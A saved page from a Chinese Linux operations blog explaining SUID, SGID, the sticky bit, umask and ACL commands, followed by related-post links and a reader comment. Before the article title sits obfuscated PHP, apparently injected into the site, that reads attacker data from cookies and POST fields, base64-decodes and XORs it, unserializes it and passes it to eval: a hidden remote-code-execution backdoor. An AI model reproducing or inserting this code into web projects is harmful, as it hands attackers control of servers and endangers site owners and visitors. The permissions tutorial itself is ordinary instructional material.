$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 特殊权限 | Linux运维部落

特殊权限

特殊权限

文件特殊权限

一、SUID(4)

SUID:当s这个标志出现在文件所有者的x权限上时,就被称作SUID。
SUID的功能和限制:1、仅仅对二进制程序有效; 
2、执行者对程序需要X的执行权限; 
3、本权限仅仅在执行该程序的过程中有效; 
4、执行者将具有该程序所有者的权限。 
5、SUID仅仅可以用在二进制程序上,不能用在shell脚本上,不能设置在目录上面 
6、若原来的权限有X执行权限,则是s权限,没有X执行权限则是S权限。

[root@localhost ~]# ll /bin/vi
-rwxr-xr-x. 1 root root 907248 Jul 23  2015 /bin/vi
[root@localhost ~]# chmod u+s /bin/vi 
[root@localhost ~]# ll /bin/vi
-rwsr-xr-x. 1 root root 907248 Jul 23  2015 /bin/vi


[root@localhost ~]# ll  /bin/vi
----r-xr-x. 1 root root 907248 Jul 23  2015 /bin/vi
[root@localhost ~]# chmod u+s /bin/vi
[root@localhost ~]# ll /bin/vi
---Sr-xr-x. 1 root root 907248 Jul 23  2015 /bin/vi

二、SGID(2)

SGID:当s这个标志出现在文件所属组的x权限上时,就被称作SGID。 
SGID的权限和功能:SGID对目录和二进制程序都有效 ,有来所属组有x权限是则是s,没有x权限则是S。 
1)当使用在二进制程序时 
1.程序执行者来说对该程序来说,具备x权限 2.执行者在执行过程中将会收获得该程序用户组的支持,
2)当使用在目录上面的时 1.用户若对与此目录具有rx全显示能够进入 2.用户在此目录下的有效用户组将变成该目录的用户组 
3.若用户在此目录下具有w权限,则用户在此目录下创建文件的用户组与此目录一样。

root@localhost mail]# chmod 2770 /tmp/testdir/
[root@localhost mail]# ll /tmp/testdir/ -d
drwxrws---. 2 gentoo gentoo 4096 Aug  3 09:17 /tmp/testdir/
[root@localhost mail]# su - gentoo
[gentoo@localhost ~]$ cd /tmp/testdir/
[root@localhost mail]# su - redhat
[redhat@localhost ~]$ cd /tmp/testdir/
[redhat@localhost testdir]$ touch 1.txt

三、SBIT(1)

SBIT只对目录有效,对文件没有效果。若原来的其他人有x权限则为s,没有x权限则为S。 
对目录的效果有: 
1.当用户对此目录具有w、x权限,即具有写入权限时;
2.当用户在该目录下创建文件或者目录,仅有自己和root才有权利修改该文件。 
3.配合SGID一起使用时,在目录所属组的用户只能修改该文件,不能删除该文件。

SUID为4,SGID为2,SBIT为1.

四、umask

为什么我们创建文件或者目录时,权限会不同了。就是因为这个umask影响的。

[root@localhost mail]# umask
0022

在linux系统上,系统默认文件是存储数据地方,所以不需要执行权限。因此最大权限为rw-rw-rw-(666),若是目录因为x权限影响用户是否能进入该目录,所以默认为rwxrwxrwx(777)。那为什么新创建的文件和目录不是666和777呢?

这就是因为umask存在,刚刚执行umask命令可以看见当前系统的umask为0022,最前面的0指的是特殊权限,暂时不考虑。那这时候

新建文件就为:(rw-rw-rw-)-(—-w–w-)==>rw-r–r—

[root@localhost ~]#  touch 1.txtr
[root@localhost ~]# ll
total 20
-rw-r--r--. 1 root root    0 Aug  3 09:35 1.txtr

和我们上面算的一样。

新建目录:(rwxrwxrwx)-(—-w–w-)==>rwxr-xr-x

[root@localhost ~]# mkdir testdir
[root@localhost ~]# ll
drwxr-xr-x. 2 root root 4096 Aug  3 09:36 testdir

ACL(Access Control List实现灵活的权限管理)

主要目的:是提供传统的owner、group、other的r、w、x权限之外的具体权限。 
除了文件的所有者,所属组和其它人,可以对更多的用户设置权限。ACL可以针对单一用户、单一文件或目录进行r、w、x的权限设置,对需要特殊权限的使用情况非常有帮助。 
主要针对以下项目: 
用户(user):可以针对用户来设置权限; 
用户组(group):针对用户组来设置其权限; 
默认属性(mask):在该目录下新建文件/目录时设置新数据的默认权限。 
CentOS7.0默认创建的xfs和ext4文件系统有ACL功能。 CentOS7.X之前版本,默认手工创建的ext4文件系统无ACL 功能。需手动增加: 
tune2fs –o acl /dev/sdb1 
mount –o acl /dev/sdb1 /mnt

ACL设置方式:

就两个命令: 
setfacl 设置ACL权限 
getfacl 查看ACL权限

setfacl

-b,--remove-all:删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留。 
-k,--remove-default:删除缺省的acl规则。如果没有缺省规则,将不提示。 
-n,--no-mask:不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定。 
--mask:重新计算有效权限,即使ACL mask被明确指定。 
-d,--default:设定默认的acl规则。 
--restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。 
--test:测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出。 
-R,--recursive:递归的对所有文件及目录进行操作。

设置规则 setfacl命令可以识别以下的规则格式: [d[efault]:] [u[ser]:]uid [:perms] 指定用户的权限,文件所有者的权限(如果uid没有指定)。 [d[efault]:] g[roup]:gid [:perms] 指定群组的权限,文件所有群组的权限(如果gid未指定) [d[efault]:] m[ask][:] [:perms] 有效权限掩码 [d[efault]:] o[ther] [:perms] 其他的权限

例子:

[root@localhost ~]# getfacl ./test.txt # file: test.txt 
# owner: root
# group: admin 
user::rw- 
user:john:rw- 
group::rw- 
group:dev:r-- 
mask::rw- 
other::r--
MASK和Effective 权限

如果文件有ACL_MASK值,那么当中那个rw-代表的就是mask值而不再是group 权限了。 
让我们来看下面这个例子:

[root@localhost ~]# ls -l 
-rwxrw-r-- 1 root admin 0 Jul 3 23:10 test.sh

[root@localhost ~]# ls -l 
-rwxrwxr--+ 1 root admin 0 Jul 3 23:10 test.sh

那么如果现在admin组的用户想要执行test.sh的程序会发生什么情况呢?它会被拒绝。原因在于实际上admin组的用户只有rw权限,这里当中显示的rwx是ACMASK的值而不是group的权限。 所以从这里我们就可以知道,如果一个文件后面有+标记,我们都需要用getfacl来确认它的权限,以免发生混淆。 下面我们看一个例子,假如现在我们设置test.sh的mask为r,那么admin组的用户还会有w权限吗?

[root@localhost ~]# setfacl -m mask::r-- ./test.sh 
[root@localhost ~]# getfacl  ./test.sh 
user::rwx 
user:john:rwx  
group::rw- #effective:r-- 
mask::r-- 
other::r--

Default ACL

Default ACL是指对于一个目录进行Default ACL设置,并且在此目录下建立的文件都将继承此目录的ACL。 同样我们来做一个试验说明,比如现在root用户建立了一个dir目录:

[root@localhost ~]# mkdir dir

他希望所有在此目录下建立的文件都可以被john用户所访问,那么我们就应该对dir目录设置Default ACL。

 [root@localhost ~]# setfacl -d -m user:john:rw ./dir [root@localhost ~]# getfacl  ./dir 
    user::rwx 
    group::rwx 
    other::r-x 
    default:user::rwx 
    default:user:john:rwx 
    default:group::rwx 
    default:mask::rwx

default: other::r-x 这里我们可以看到ACL定义了default选项,john用户拥有了default的rwx。所有没有定义的default都将从这里copy过来,现在root用户在dir下建立一个test.txt文件。

[root@localhost ~]# touch ./dir/test.txt
[root@localhost ~]# ls -l ./dir/test.txt 
-rw-rw-r--+ 1 root root 0 Jul 3 23:46 ./dir/test.txt
[root@localhost ~]# getfacl - ./dir/test.txt 
user::rw- user:john:rw- 
group::rwx #effective:rw- 
mask::rw- 
other::r--

这里我们看到在dir下建立的文件john用户自动就有了rwx权限

关于umask和mask 的区别

umask 是目前用户在新建文件或者目录时候的权限的默认值,他影响的owner、group、other三者的普通权限。而且是用最大权限去减去umask得到文件或者目录的权限。 
mask 是ACL权限中group的最大控制权限,任何group 成员的权限不能超过 mask权限,超过的权限没有效应。 
两者都是设置后默认生效,不影响创建的文件。都是我们进行权限管理过程中的有效方式。

原创文章,作者:fighter,如若转载,请注明出处:http://www.178linux.com/29202

(0)
上一篇 2016-08-05 16:13
下一篇 2016-08-05 16:13

相关推荐

  • linux函数和数组定义

    函数介绍:    函数function 是由若干条shell 命令组成的语句块,实现代码重用和模块化编程。    它与shell 程序形式上是相似的,不同的是它不是一个单独的进程,不能独立运行,而是shell 程序的一部分。    函数和shell 程序比较相似,区别在于:   …

    Linux干货 2017-04-02
  • 学习标准I/O和管道的心得体会

    重定向、标准输出、标准输入、标准错误、管道的命令整理

    2017-11-20
  • Mariadb数据库复制系列(一):主从复制

      实验一:MySQL主从复制的实现 1、实验环境 确保各节点之间的时间同步 2、修改主节点的mysql服务配置文件,让其符合主从架构中主节点的要求 3、查看主节点现有数据情况和二进制日志使用情况 4、对主节点的数据利用xtrabackup进行完全备份 由于两个从节点是后期加入,故采取备份主节点的数据,还原到从节点上,然后让从节点从备份时刻的二进制日志的位置…

    2016-11-24
  • N25-第一周 总结

    一、描述计算机的组成及其功能     CPU:包括运算器、控制器、寄存器、缓存,计算枢纽,网络的包处理、磁盘读写、数学计算等。     内存:加载数据,提高计算速度,程序被加载到内存成为进程运行。     输入:键盘、鼠标     输出:打印机、显示器 二、按系列罗列linux的…

    Linux干货 2016-12-05
  • bash脚本变量的使用

    bash脚本的变量使用详解 变量的类型包括整数、字符串和数组,但在bash脚本编程中不需要指定类型就可以直接赋值,默认均为字符型,其参与运算会自动进行隐式类型转换。 变量的赋值方式为:name='value',其中“=”两边一定不能有空格,如果变量值中包含有空格则需要使用引号引起来,需要注意的是强引用和弱引用的区分。此外变量的赋值也可以引…

    Linux干货 2016-08-15
  • 初学Linux

       已经学习了Linux一周了,从原来的设计网页、动画影视制作、3D模型到现在的黑白界面虚拟世界,从原来吃睡由我到现在重回高三生活,说实话,一开始还是不太能适应的,尤其是眼睛,酸胀痛。不过,越努力越幸运,也觉得linux其实很有意思。。以下是我第一篇微博的内容,也是我学习linux一周所总结的知识。 首先,学习一门知识就要先了解他的历史…

    Linux干货 2017-07-15

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-07 22:31

    写的很好,思路清晰,通过都特殊权限的应用场景模拟,有了自己的总结。